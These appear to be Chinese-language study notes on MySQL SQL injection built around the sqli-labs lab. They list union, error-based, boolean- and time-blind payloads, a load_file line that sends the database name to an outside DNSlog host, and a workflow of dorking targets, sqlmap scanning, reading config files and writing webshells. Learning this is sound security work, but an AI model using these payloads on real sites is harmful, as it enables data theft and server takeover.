0%

SQL注入

基础

环境搭建

  • MySQL
  • sqli-labs

注入原理

  • web应用架构
  • MySQL架构
  • SQL语法

常用语法

函数&逻辑运算

  • substr(string,start,偏移量)
  • ascii()
  • user()
  • version()
  • and;or;只能接判断
  • union
  • concat;group_concat

查询语句

1
2
3
4
select schema_name from information_schema.schemata
select table_name from information_schema.tables where table_schema='dbName'
select column_name from information_schema.columns where table_name='tabName'
select colName from dbName.tabName

注入流程

  1. 目标搜集
    • Google语法,如inurl:php?id=
    • 工具爬取,如spider
  2. 寻找注入点
    • 手工识别
      • 单引号判断
      • and 1=1/and 1=2and '1'='1/and '1'='2判断注入类型
    • 工具识别sqlmap
      • sqlmap -u url:扫描单个目标链接;
      • sqlmap -m filename:将多个目标链接保存在一个文件中,进行多链接扫描;
  3. 数据获取
  4. 提权
    • 执行系统命令
    • 读文件
      • 数据库配置文件for远程连接
      • 系统配置文件for信息搜集
    • 写文件:webshell

注入类型

union注入

使用条件:1.只能用于select查询语句(只有最后一个select子句可以有order bylimit);2.联合语句的查询结果必须有相同数量的列;3.页面要有回显;

  1. order by确定列数;
  2. 确定哪几列可以显示在页面
  3. 插入sql语句读取数据库相关信息。

报错注入

使用条件:会打印错误信息并返回到页面,与union注入相比还适用于update,insert语句。

常用函数:

  • floor()向下取整

    1
    select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));

    在floor()前插入注入语句。

  • extractvalue(XML_document, XPath_string):从目标XML中返回包含所查询值的字符串,由XPATH格式不对而报错

    1
    select extractvalue(1,concat(0x7e,(select user()),0x7e))

    在注入语句之前一定要确保有非法字符才能产生完整报错。

  • updatexml(XML_document, XPath_string, new_value):替换查找到的符合条件的数据,其他同上

盲注

页面无回显

布尔盲注

  • left():left(a,b)表示从左侧截取a的前b位,返回字符串;
  • regexp:正则表达式
  • like
  • substr(),ascii():ascii(substr((select database()),1,1))
  • ord(),mid(),同上

时间盲注

  • if(condition,true,false),sleep(ms)

    1
    if(left(user(),1)='a',0,sleep(3))

dnslog盲注

dnslog平台:http://ceye.io/

原理:DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息。

1
select load_file(concat('\\\\',(select database()),'.****.ceye.io\\filename'));

防御绕过

SQLMap

其他数据库

  • MsSQL
  • Oracle